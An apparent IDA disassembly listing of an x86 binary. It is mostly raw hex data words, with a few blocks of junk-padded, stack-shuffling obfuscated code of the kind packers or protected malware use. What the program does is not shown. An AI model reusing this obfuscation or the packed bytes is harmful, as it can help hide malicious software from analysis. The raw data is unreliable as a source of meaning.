dd 536EE382h, 809B10D1h, 0A8C338F9h, 0ACED6207h, 6B0EAFBAh dd 9A47DBF6h, 0C1640A25h dd 0E78E314Ch, 0C0D67272h, 3F497624h, 73A57D32h, 7C1331F0h dd 2778E318h, 965FE127h, 304BC06Fh, 6902E48Dh, 6A011FC6h dd 9722A4B2h, 639815F8h, 0D78F0783h, 3FC0A251h, 0C25F63Ch dd 1615C46Dh, 9BB4D293h, 0B5765819h, 0BBB99106h, 7481C5CBh dd 5Fh, 31BD54BEh, 3754314Ah, 0A4BEF432h, 789F8E49h, 422F0AC9h dd 0BE8A0E24h, 0EF343F43h, 7336B8D1h, 17ABC4FEh, 18C7886Ah dd 724C61Ch, 0B77E0133h, 4FEF0842h, 8A07C8AAh, 0A522E02h dd 1211C054h, 0D2B6736Ch, 3BD975E4h, 5BDDF614h, 9F1FB89Ah dd 2EB4B3DAh, 21D09173h, 44FB73Fh, 73850000h, 13D259F0h dd 50E51A31h, 8CBA18A5h, 0E8203E65h, 9CD36E51h, 0A09C5E1Ah dd 3924F244h, 0CF43E687h, 60F9DB8Ah, 8A861DDDh, 5E3CFABEh dd 0B1DE0602h, 7F6F3925h, 0E86EEB8Ch, 5279BE32h, 0E43702DDh dd 4A8FCE83h, 415F863Ah, 43B32E2Bh, 9ED6123Fh, 7775C88h dd 0B9B5FA33h, 3307782Bh, 5BE7E62Bh, 0D4FBBC9Eh, 77845CF2h dd 8B283307h, 2BD8D645h, 599187E3h, 0DB000000h, 0CFED86B3h dd 42FE4CB9h, 0E9074C3Fh, 0A8499BB1h, 0C80D3306h, 477F3719h dd 6A7B331h, 0AF5EA333h, 6A82DB3h, 4D109633h, 8B2AD26Bh dd 0DF2528A9h, 2E4892Dh, 67041A41h, 0FFB4B221h, 0BFF787E3h dd 69C3BA9h, 27D61B33h, 1127Fh, 0A34A6300h, 0E5872002h dd 0AE66153Ch, 0DE061C54h, 0CE3924D2h, 24D32CB8h, 71E52A39h dd 0FB7E7D2Ch, 3EBF583Ah, 7D00997Bh, 11AD2B4h, 908B77Eh dd 324ABF66h, 3924D6A7h, 55CA6B0Eh, 4103841Bh, 0A746294Fh dd 0AF76F9F8h, 0ACC574CDh, 33F2758Eh, 6C35B851h, 62789645h dd 3F42D697h, 0F52FA4E9h, 76945DDCh, 6BC8460h, 0DE8DD233h dd 3B591A1Fh, 9E47EA03h, 698EF3EFh, 0C1583927h, 8DCC9E7Eh dd 0B024D3DBh, 60B64D6Bh, 8160D058h, 0CAF57E88h, 50772B29h dd 0C56A83A1h, 426B0220h, 9A18504Ch, 1732A756h, 20C3DC96h dd 955F8581h, 0B2F72CE6h, 8185C98Bh, 2F31EC2Ch, 2CCA7h dd 601DA600h, 8928D0EBh, 0AE77F914h, 0D69F1E39h, 0FCA14661h dd 49544687h, 718C01A4h, 94AF24D1h, 0BFDA4F12h, 753Ch dd 77964E64h, 0BC03F49h, 2FF27333h, 7D1C9FBAh, 0BD273DF9h dd 993924D2h, 0E8062D54h, 4E0B97B0h, 24D29252h, 7A7C439h dd 98BF8062h, 0B3A074E9h, 0B9CFED86h, 3F42FE4Ch, 0E8892F4Ch dd 9749DFC1h, 153306A7h, 0C5C33278h, 7E87E3FFh, 0DEh, 0BD3B54C8h dd 0CCFB12F4h, 3143F698h, 3433E209h, 750EF0B1h, 780F2DF0h dd 327A2F4Eh, 2709B879h, 25BA4891h, 2BCA6D39h, 81189BB6h dd 935436FFh, 7BAA0B16h, 0E70E3A5Ah, 0E48DAC05h, 0DC49B0C6h dd 9C373F43h, 7C922A9h, 102E550Bh, 1B071F7h, 0B339528Ch dd 5CFFE5FBh, 12573307h, 494809EBh, 602103A2h, 2A47F2B1h dd 62CF60Ch, 61A63928h, 8852A43h, 2398BF7Ah, 0C26708h dd 0EC2C9F68h, 0CEDA6264h, 0A8000001h, 0CEE95E1Bh, 0F712872Eh dd 1C37AC75h, 445FD49Dh, 4889FEA3h, 7AA4B56h, 2EEB7792h dd 55189EB9h, 8322C5E0h, 5C720E0Eh, 3F497888h, 544119CEh dd 17F9B83Bh, 7A8A756h, 84D8040Ch, 79A0D8FEh, 0E833CA04h dd 9CDE5284h, 0BAEAD5Ch, 0A2BBF56Ah, 0B2735500h, 3B544B03h dd 4A49F8B9h, 641CFEA7h, 2305AC4Bh, 31B4B362h, 5DE0FB70h dd 0D95D7694h, 2A836514h, 0AD44620Fh, 4EEE7D12h, 9D992AA7h dd 647A9847h, 3F4379DDh, 9E0CEE33h, 0E285377Dh, 1F8E2543h dd 80266F8Ch, 90B77E02h, 19326CE1h, 6322D194h, 818D47D6h dd 7039AC8Dh, 4628CD71h, 8405E85h, 0C8AA4FEFh, 6D5C5807h dd 0B33925A5h, 9CD48C6Eh, 0E9955E86h, 36B3F82Ch, 0CA2DBC3Dh dd 201FCEF5h, 0DD7CFC9Dh, 0F7B89A5Bh, 43C7A9D0h, 982F0046h dd 1796F770h, 2EAB6C4Eh, 98473291h, 0F51360D9h, 722EADFh dd 0D3F13633h, 8C6E37BAh, 8829CCCBh, 0A64964D9h, 0B5DC8527h dd 0F1B43AD3h, 0CCE5A10Fh, 56D98829h, 0F1073F10h, 26CB12F3h dd 706F1E63h, 75AF24CDh, 0A31363DEh, 0E8971D21h, 45631029h dd 0E939122Fh, 0D7B9FE2Ch, 0ED03BB3Eh, 20AD28F7h, 11F31A5Fh dd 99AFE7A3h, 20AD294Bh, 0A449EE0Bh, 2BDA01C2h, 49F062A8h dd 4AF10A28h, 0A6DEFCABh, 6446EF8Dh, 49F8F4A3h, 1D26CB31h dd 0EBD6404h, 0A037559Ah, 904F034Bh, 0AC21D09Bh, 0B03368D1h dd 0EC760FF1h, 0C5E30A31h, 0B3D5B3AFh, 785A9F20h, 20955CDFh dd 0E1C36205h, 0F375604Bh, 0CB110E46h, 5ACF9619h, 13F5BC3Fh dd 5032F37Ah, 0AA7BC1E2h, 9847EE91h, 0DA4F1699h, 3DE487A0h dd 45EC8F8Eh, 3DB63h, 7FA90000h, 33EE73A7h, 6C35B851h dd 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h, 9F46E57Eh dd 0E18024BDh, 1FC666FFh db 3Dh, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 push 609Ch mov [esp], ecx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp push esi push edi mov edi, 6249621h mov esi, edi pop edi mov ecx, esi pop esi push esp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, ecx mov [ebp+8], edi pop edi mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_536D7B ; --------------------------------------------------------------------------- dw 0CC35h dd 8B10699Eh, 0FAFBB1DFh, 3B9FE42Bh, 24A8BEB8h, 0FFC50306h dd 0CAF86AE0h, 2A8DBA29h, 7FAB8C0Dh, 0EC2F7266h, 0F7450A43h dd 64EFF85Eh, 0F68DAC00h, 8B61DC79h, 0E0105D08h, 90DAEA51h dd 0B4249333h, 811F0D4Eh, 7328686Fh, 4880F147h, 0B97B1760h dd 5CCD23Eh, 12610E50h, 81FC5F73h, 0A3BA4C38h, 0DC63FE45h dd 263F4C33h, 0DBD24F09h, 30965071h, 76B1983Ah, 10E860h dd 0EBDB0000h, 0D6DD392h, 0DB714612h, 0DC2D2B69h, 0F5797CCh dd 182h, 5A58F800h, 71D3C281h, 9E90000h, 0A000000h, 0B255199Ah dd 296EDB60h, 0BEh, 0DE900h, 67700000h, 376E81CAh, 57AD2A1Dh dd 0FF8A0506h, 0C9811634h, 5373395Fh, 8F0F605Fh, 6, 860Fh dd 0CE90000h, 13000000h, 483A247Ah, 0AC5083B8h, 61C5B4F4h dd 0F97CF781h, 9BB32F88h, 735EEF81h, 0C9810FE4h, 537FD04Fh dd 71E2C781h, 10E95933h, 6F000000h, 79E519CAh, 0E01A88B4h dd 0B0F55082h, 5738F2A5h, 32048FF8h, 13E9h, 0DF039400h dd 1B5D3FF9h, 7AECDDBFh, 9D2EAF27h, 0B87D3ACh, 81C9C880h dd 0BE510EEh, 830F2Ch, 81000000h, 0BE50CC6h, 14DB802Ch dd 8F40FE81h, 850FFFFFh, 13h, 0ACDBB866h, 30E9h, 0A1DCF000h dd 1121EDBCh, 0E9514EC7h, 0Fh, 0E5DCD468h, 49FB9E8Eh, 168276C7h dd 0E92FA93Ch, 0FFFFFF3Bh, 1DDDF60Ah, 0A7246D88h, 0C9B3656h dd 8EB53h, 0D4000000h, 0E97BF734h, 4E1h, 24ABC768h, 0D4A9E906h dd 6F68FFF9h, 0E90624ACh, 0FFF9D49Fh, 24ADEF68h, 0D495E906h dd 0D869FFF9h, 0EF8DA81Dh, 32B6D146h, 44E3FE73h, 680D289Dh dd 1D0F50C5h, 53C86D12h, 7AEFAA38h, 0A51ADF5Fh, 0C93EE78Ah dd 0CD172DC9h, 893F497Dh, 0F273FCD4h, 3113D657h, 0CE674970h dd 0C216342Bh, 987A3FC0h, 559D5AD7h, 0DD04AD4Bh, 0B5975EDEh dd 7D58CDF4h, 8399B7BCh, 3F42E1DAh, 9AC516Eh, 5D3F6627h dd 6D119C7h, 0B0F69333h, 0E3D64341h, 34BFC87h, 0D8460000h dd 0EE83B6A9h, 0F367BAD0h, 24693F42h, 19A5B44Ah, 0E950306Ch dd 7D546A88h, 93BBF4Fh, 0C3A54CF0h, 0B9E0852Ah, 6F51960Ah dd 304E2316h, 0A182C01Ah, 1F3D8235h, 4DC26306h, 24E68F32h dd 0E8AAC18Bh, 7DF1797Bh, 0AC000003h, 0DAF56A17h, 31E9352h dd 304BC061h, 5873E889h, 5C9D12D7h, 1BDE5F6Ah, 4AF78BA6h dd 7134BAD5h, 975EE1FCh, 70862222h, 3F497D74h, 0B3552DE2h dd 0D3921586h, 11D058F1h, 8FA5C3EAh, 3F497D30h, 0D2931932h dd 0C802FF0h, 5871A9C7h, 636211D0h, 1A047C2h, 19375E1Fh dd 8D4D3D82h, 1DCC2518h, 0EFE88DA8h, 345176E9h, 6381A850h dd 0BFCF152Bh, 66FC3300h, 0F50B47BBh, 3300BFEFh, 0FCFB2267h dd 2305B47Dh, 0BF528Dh, 0CFCC6F33h, 495F701Ah, 33008B9Bh dd 40F976BBh, 13D5FC35h, 0F245C7B6h, 0D5E66E70h, 4000002h dd 324DC27Fh, 5B76EB8Ah, 88A318D9h, 0B0CB40E1h, 0B4F56A0Fh dd 7336B7C2h, 0A25FE3FEh, 0C96C122Dh, 0EFB63954h, 0C8DE7A7Ah dd 3F497F1Ch, 0B3AD853Ah, 0B9CFED86h, 3F497E06h, 0CA3C106h dd 0F22AEADEh, 2709B8F7h, 1AC2D86Fh, 448D6E26h, 0A2479995h dd 0FC7C3300h, 34BA5335h, 218F71h, 2DCAE0BAh, 17A78E7h dd 0EE3387EAh, 7D000001h, 4F31F073h, 0BC1C33B6h, 0CBBBAC9Bh dd 0D79E1E1Dh, 980D34F5h, 0E84FC75Eh, 25D853BBh, 0F182B776h dd 719CBDD3h, 0C2FA3F43h, 73738ACh, 50119333h, 0F439AD6Eh dd 1B89EF77h, 5706A8C2h, 7C21C6E3h, 0D0B2D99Ah, 746A63Ah dd 23690633h, 5FD5BB52h, 2E44AA55h, 36E58C2Fh, 0E31C7C7Ah dd 0A6BF87h, 0BBA7B5Dh, 2C63h, 3B54AD00h, 8C4BFAA7h, 8DA6C4ADh dd 0A7684AEBh, 41C4DAF8h, 573F42FEh, 469A3012h, 663306A8h dd 161483C9h, 0CF87E3FFh, 0C7h, 31F07319h, 9431B64Fh, 0A96A4C15h dd 6407A082h, 0BF42DBBDh, 0F4D69F1Eh, 0EF16DB5Bh, 1E13AAC8h dd 41834CC3h, 99B126D5h, 39259325h, 0D89D223Bh, 878635F6h dd 881F3DE4h, 4A1787B3h, 72E796F7h, 0B3D1A297h, 45E2EA9Dh dd 53EF083Fh, 5403C4A6h, 647D9BE0h, 4AEFCBC0h, 1900C75Bh dd 0C2543F2h, 2BB9CF6Bh, 2B3303F6h, 0E8CA6B0Eh, 64D90027h dd 3F01A449h, 0F249A71Ch, 5528B0B2h, 84000001h, 0B2CD42FFh dd 0DBF66B0Ah, 8239859h, 304BC061h, 3475EA8Fh, 0F3B63742h dd 22DF637Eh, 49EC92ADh, 6F36B9D4h, 485EFAFAh, 3F497F9Ch dd 732D05BAh, 80BA2FF2h, 0DA0CEEE9h, 26108D48h, 4A9A8E1h dd 30B3B261h, 7328FC71h, 0B64F31F0h, 0FC139A33h, 8E5077E0h dd 0C7A9D074h, 8EA8B2Eh, 84F92047h, 0E8FC124Ah, 0E33925B6h dd 0EE2A9E43h, 25B70CD8h, 0DE054A39h, 0A8C9702Fh, 0D2CD718Ah dd 9BDBFFBBh, 47F61D28h, 68851329h, 0F4393F43h, 7538BDD6h dd 15ADC600h, 16C58668h, 6CEC61Ah, 0E37AFD33h, 9BB44C5Fh dd 0FB57F594h, 243AF2D4h, 330678C0h, 32A5196h, 0BBC04EE5h dd 0AAA0D440h, 0CA6B86FBh, 68AE0D1h, 52D9E7EBh, 0C9F0B193h dd 0D76B84A2h, 11997B2Ah, 7Ch, 0ED86B3DFh, 638197CFh, 0F33924D2h dd 0CBE1FFAEh, 3F497DF8h, 5CF5D71Ch, 9DD5C2D9h, 3C9FA845h dd 0E285A015h, 12A96143h, 0FB3E6D56h, 8DA3C186h, 33000257h dd 0F0BBAFFh, 0B0D386A7h, 0C99AE0DDh, 886A0FB0h, 961918C7h dd 0BC3F5ACFh, 0F37A13F5h, 26E25032h, 0E3C5680Dh, 0AAF07322h dd 37AC75F8h, 9E43E4FDh, 4D4CFBBCh, 0A1290BAAh, 0Ch, 0AA417F6Fh dd 6D16582Eh, 0CC47397h, 5133EE73h, 8A6C35B8h, 0C6A84DF1h dd 6E8952Dh, 4325C86Dh, 7E6005AAh, 0BD9F46E5h, 0FFE18024h dd 3D1FC666h, 5A506800h, 14890000h, 694F6824h, 1C890000h dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 68241489h dd 624AB0Ah, 83241C8Bh, 8B5404C4h, 0C4832414h, 4EC8104h dd 89000000h, 428F241Ch, 24148B08h, 81E38953h, 4C3h, 4C38300h dd 5C241C87h, 5B2434FFh, 0E904C483h, 0FFF9CFD3h, 0AF69B8C4h dd 0C5030624h, 0EAEBE0FFh, 0A3B96169h, 0DE1A4E4Bh, 476D38h dd 0ED4372C6h, 5B797491h, 6E6A0F8Bh, 2F187159h, 0B6376536h dd 69172ADDh, 0D6C806CCh, 8D8D07DBh, 624B105h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 85C35141h, 35964F62h dd 0FE8C06Ch, 0A81h, 0C18A6000h, 1DB589h, 8961061Eh, 1E23758Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 898BF401h, 1E275595h, 4D85C706h, 28061E32h dd 0F5000065h, 316985C7h, 61Eh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E85F73C3h dd 5, 0D479C5ADh, 26BE66BFh, 0E8565F49h, 13h, 46D054C6h dd 511B3F47h, 696D1782h, 898A305h, 31503C4Fh, 1E1CB195h dd 0FF5E5806h, 1E0EA9B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 6A7FA131h dd 0C3BF0FEEh, 16B995FFh, 8060061Eh, 8B6638C6h, 6A61FBh dd 26C195FFh, 0C08B061Eh, 42B55EEBh, 0F3E4BF2Ch, 9C5F1EA8h dd 7349FF7Fh, 9793F4A9h, 9BBFE945h, 36905507h, 6F8603EDh dd 0A91FF9FFh, 0D1C6C5F8h, 353DE431h, 0BC213E41h, 0E522706Dh dd 79818FF4h, 0D5EEB148h, 0F79888F2h, 0D876BD4Dh dd 0B39153BDh, 718327EEh, 0DD8CDB4Eh, 0A62A4CEBh, 546308BCh dd 1845A1Fh, 269DD856h, 5E8h, 70DB1200h, 9D296580h, 61E0D2Dh dd 6D858B5Fh, 81061E14h, 6DEBC7h, 2AF68100h, 0B9389E8Ah dd 1B3Eh, 0FFF0BF0Fh, 45852B37h, 5B061E0Fh, 0F0C381F8h dd 6015311Bh, 20998D29h, 5E9061Eh, 6A000000h, 8D954A39h dd 17EB8161h, 6634211Eh, 5503F281h, 0D5CBF381h, 95895CC3h dd 61E009Dh, 0E9078F53h, 10h, 591BC754h, 0B1AF10CDh, 923D1BABh dd 0D648E8C5h, 0E803EF83h, 6, 1F510EECh, 0B58B3BB1h, 61E1E09h dd 0BE94F5Ah, 0DB000000h, 45B5D754h, 1B7E334Fh, 0E9833786h dd 1D850F01h, 60000000h, 66D6B70Fh, 0E961D18Bh, 44h, 88B99944h dd 46BB64E9h, 286687C8h, 101CA3A9h, 14E8h, 0CEA08E00h dd 0B4F00D8Bh, 5BEBA2B1h, 0CFD8485Ah, 1162BFBAh, 71B50302h dd 5A061E02h, 0FFFF3EE9h, 251B33FFh, 0BC5AE759h, 6B0741FCh dd 863D27F8h, 0BE8h, 9283B200h, 43CEE89Bh, 7591BDB6h, 0E95BD68Bh dd 5, 1C0242BBh, 1C38181h, 8900006Bh, 1E165D8Dh, 6806h dd 8E0F0000h, 6, 0D288F681h, 895933CFh, 1E272985h, 0B048B06h dd 69850FBAh, 71C08150h, 8B47BCDEh, 1E2D61BDh, 4FC08106h dd 0F0636A3h, 68Ch, 81EA8100h, 812C3BC4h, 0FD69AFC0h, 0B04896Ah dd 6660F28Bh, 0E90B1AB9h, 12h, 0EB37FCAAh, 0B6B8E5DEh dd 0F8613B94h, 83BD884Dh, 81610D07h, 0F05777E9h, 31B58B69h dd 81061E15h, 0F05773C1h, 0DE869h, 33CE0000h, 5D2E6FCFh dd 0BDB0FD34h, 8976A83Bh, 1E0DE9B5h, 0F9815E06h, 0FFFF95E0h dd 11850Fh, 0D78B0000h, 1DE9h, 73082C00h, 56F2633Eh, 0BFDAD2CBh dd 69CDC80h, 0FFFF60E9h, 0DE6CABFFh, 0E76A7EA0h, 9E801D5h dd 0C9000000h, 0E212510Bh, 19569035h, 7B0009B9h, 0B52B5B3Ch dd 61E1561h, 69ACC381h, 8D890000h, 61E2765h, 0BF5ADBAh dd 92C2815Ah, 89A5F424h, 1E1F9585h, 8B038B06h, 1E2FD9BDh dd 9BC08106h, 8B4ED3B3h, 0F5E881CEh, 604179DFh, 0E7E28166h dd 0FD6AB801h, 81616450h, 0DC7189C0h, 10E960h, 29580000h dd 73D21AE2h, 4DAB9388h, 7CDBDEA9h, 0F507C07h, 38FC9B7h dd 83C8B70Fh, 0BD8B03EBh, 61E099Dh, 0A1BD8B4Bh, 4A061E0Dh dd 0D850Fh, 8B660000h, 1DE9FBh, 1D8A0000h, 513AAD1Fh, 0E95E2FB5h dd 0FFFFFF8Dh, 0BBBE3Ah, 5CFEDCB7h, 0EBD10045h, 0E8079A60h dd 14h, 0DBEB437h, 3F07D5E5h, 0F6EBEFDBh, 2A0C649Ch, 0DB9C9BE6h dd 2713E081h, 805E42C7h, 0C68136F4h, 5C20h, 10E9h, 0E00C7A00h dd 9D25D784h, 0C5FA5591h, 42AF8BC0h, 0BB6Eh, 85890000h dd 61E1B59h, 8A1E3C8Bh, 47C781EAh, 8B61ED6Dh, 1E1A2995h dd 0BAF78106h, 8B420714h, 1E0CF58Dh, 0C7F78106h, 8A72E9E0h dd 850F57C3h, 6, 2B6D958Bh, 48F061Eh, 60CF8B1Eh, 6830Fh dd 8D890000h, 61E22C5h, 6130C380h, 8903EB83h, 1E0F29B5h dd 0EE84B06h, 0D3000000h, 6922452h, 738EEEAh, 904882A8h dd 3DB589C3h, 5A061E2Ah, 0A4C4FB81h, 850FFFFFh, 1Ch, 171F44B9h dd 22E959h, 6F100000h, 20512959h, 0D9D6B319h, 7F0B6ECh dd 4F320050h, 0E9D1B70Fh, 0FFFFFF64h, 8AB30DF4h, 400E4DCEh dd 0BD83C08Bh, 61E1D79h, 83097500h, 1E2B25BDh, 19740006h dd 0C08B5350h, 421B8h, 0E9858900h, 8D061E0Ch, 20AC3A9Dh dd 5BD3FF06h, 25BD8358h, 61E2Bh, 53501774h, 421B8h, 0E9858900h dd 8D061E0Ch, 20A9299Dh, 5BD3FF06h, 8BC08B58h, 1E0EC59Dh dd 4185C606h, 56061E20h, 0A8B85268h, 91B5FF9Ch, 8D061E32h dd 2178D185h, 6AD0FF06h, 10006804h, 0B5FF0000h, 61E2B95h dd 0D0FF006Ah, 850FC085h, 0Dh, 0B8h, 0AB8D8D00h, 0FF061E71h dd 8BC88BE1h, 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h dd 61E31C9h, 0E840F00h, 8B000000h, 1E31C99Dh, 0D1858B06h dd 89061E0Ch, 8D525103h, 1E7B0885h, 8BD0FF06h, 8BF18BFAh dd 0F3C88BD1h, 4185C6A4h, 56061E20h, 1F6D3968h, 91B5FFD4h dd 8D061E32h, 2178D185h, 68D0FF06h, 8000h, 0FF52006Ah dd 83C08BD0h, 1E1D79BDh, 9750006h, 2B25BD83h, 7400061Eh dd 8B535019h, 421B8C0h, 85890000h, 61E0D19h, 0ACA19D8Dh dd 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h, 421B853h dd 85890000h, 61E0D19h, 0A9429D8Dh, 0D3FF0620h, 0C08B585Bh dd 31C99D8Dh, 38B061Eh, 840FC00Bh, 7, 5B8B038Bh, 0B8188904h dd 4B41h, 71ACAFEh, 8F99A808h, 4618A4Ch, 0D5ABA808h, 43975EAh dd 8C87A808h, 5DBA8A4Ch, 8D7C57AEh, 5298A4Ch, 0D5ABA808h dd 5F075EAh, 8DA2A808h, 0A728A4Ch, 822CA808h, 0AF48A4Ch dd 0D5ABA808h, 2F2575EAh, 0EE32BD4h, 0F8C00313h, 0A7528CE7h dd 86F27B90h, 74D12157h, 2F43AEA3h, 0EECE0D4h, 0C0C00313h dd 0A7528CE7h, 86FD2A90h, 40D12157h, 2F43AEA3h, 0EEC5FD4h dd 0CCC00313h, 0A7528CE7h, 86FCC690h, 5CD12157h, 2F43AEA3h dd 0EED38D4h, 0D8C00313h, 0A7528CE7h, 86FC5390h, 0A8D12157h dd 2F43AEA3h, 0EEEB2D4h, 24C00313h, 0A7528CE7h, 86FFD190h dd 0A0D12157h, 2F43AEA3h, 0EEE34D4h, 2CC00313h, 0A7528CE7h dd 86FF5F90h, 0B8D12157h, 0C343AEA3h, 2A5012B8h, 4ECEDF15h dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4613D28h, 2AA8ED96h dd 29458A15h, 0E367A024h, 0ADBAB496h, 2A54A1D5h, 64C6CB15h dd 0D5BA4155h, 63CE75EAh, 1A213AAEh, 42848C0Bh, 2211AB53h dd 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h dd 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h, 6C54A851h dd 0A24162ADh, 0EA660351h, 2FEE27BFh, 0E981EDBh, 12947513h dd 0A0D90201h, 0A46146A3h, 0A1EC79AEh, 941AE51h, 0E6E222DCh dd 73BA8C31h, 2ADF1037h, 28C82173h, 2C7064E7h, 2BFD5BEAh dd 81508C15h, 6EF30098h, 0FBABAE75h, 89EFD2A5h, 57DDA42Ch dd 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh dd 0C0D5F251h, 0A4613DE8h, 0A15CDDDAh, 0E7828668h, 2A54A8ADh dd 30BACC15h, 2C4A86CCh, 69CE529Eh, 0B99783FCh, 31EFE2A5h dd 0A0D9F9FAh, 0A46146A3h, 9A0D79AEh, 1A232094h, 81328C55h dd 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h dd 0C2345495h, 0A2458A15h, 7EBE290Bh, 2943AEADh, 57DFA024h dd 5E004D19h, 2A54A851h, 3FD77553h, 0A152B67Fh, 69CE19CDh dd 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh, 0A46146A3h, 9A0D79AEh dd 1A232094h, 81328C65h, 0DF6E2184h, 0D629215Dh, 5E000174h dd 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h, 0D6116F5Dh dd 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h, 0A2454A38h dd 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h, 25862DA0h dd 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h, 0AE38A1BEh dd 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h, 66C6669Eh, 5FDFC8ADh dd 0AE38011Dh, 2AA8ED96h, 0E458A15h, 22B769C2h, 62765826h dd 78C22FDh, 0A2458AD5h, 25AB54D1h, 0A2459391h, 2A5D1151h dd 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h, 91EF4B93h dd 577F0391h, 5E380319h, 0D6112330h, 0A24D48DCh dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h dd 229D00B9h, 0E1D4A7B2h, 8860085h, 0E6E222DCh, 73BA8C31h dd 0A7FEF8E1h, 86893C9Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 0D7D77515h, 2652B661h dd 28C82045h, 2C7064E7h, 2BF55BEAh, 86949BFBh, 622E8531h dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h dd 0D5FE0451h, 0BC6B1787h, 868C2357h, 2FEF4917h, 0E981EDBh dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah, 29247668h dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh dd 0A2457650h, 80F8A851h, 8CD818EAh, 0E2DFAE4Fh, 88558B9h dd 0E6E232DCh, 71BA8C31h, 0E3941037h, 63CF2173h, 262983FBh dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h dd 26292359h, 0A2B9CFD2h, 8654A851h, 3FD775BFh, 0A152B67Fh dd 637726DDh, 9CCE25FBh, 5D43AED9h, 0AAECCE82h, 28EEECE4h dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h dd 0B0D90337h, 0A46146A3h, 92327BAEh, 9234B95h, 1FE04FDh dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h dd 86893C8Fh, 9A875757h, 0E0320A0h, 9CCE25FBh, 5D43AED9h dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4613130h dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 70CE2559h, 0F143AEA3h dd 9D6532DCh, 71BA8C31h, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh dd 38C88260h, 2C701E3Bh, 93DF0746h, 0D5528CE6h, 5E0003C6h dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 86F3FC8Fh, 0B0D9FB57h dd 0A4613D24h, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h dd 9CD632DCh, 2F168C31h, 0EE399CBh, 2B967513h, 2ABD5414h dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 16EBh, 4 dup(0) dd 1010000h, 3B0h, 6A0624h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 4F0BAFC3h, 0DE9h, 45D51300h dd 79FFEF2Fh, 755FCDEEh, 0E890ABD4h, 11h, 750FBFBDh, 0A7B39804h dd 0E01BD07Fh, 1E6CEBBDh, 90505AFBh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 66C35141h, 0E9375A58h, 0F01AB8B9h dd 6A006A7Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 7EAFC352h, 8C94617Fh, 958B1104h dd 61E0CE5h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0B86A19C3h, 26EFA0B5h, 0E9E74FB9h dd 0Ah, 0BFF64CD7h, 0BB4128CEh, 0B589B94Dh, 61E0445h, 299D8D89h dd 858D061Eh, 624BDA0h, 8E9h, 5F5BF00h, 0EAF651A7h, 0BA6650FEh dd 489095Bh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 9C5ECE1Dh, 9899854Ch, 0ED9D8956h dd 59061E07h, 0B966D98Bh, 6A4263h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0E1C35545h, 5E8F856h, 8D03513Ch dd 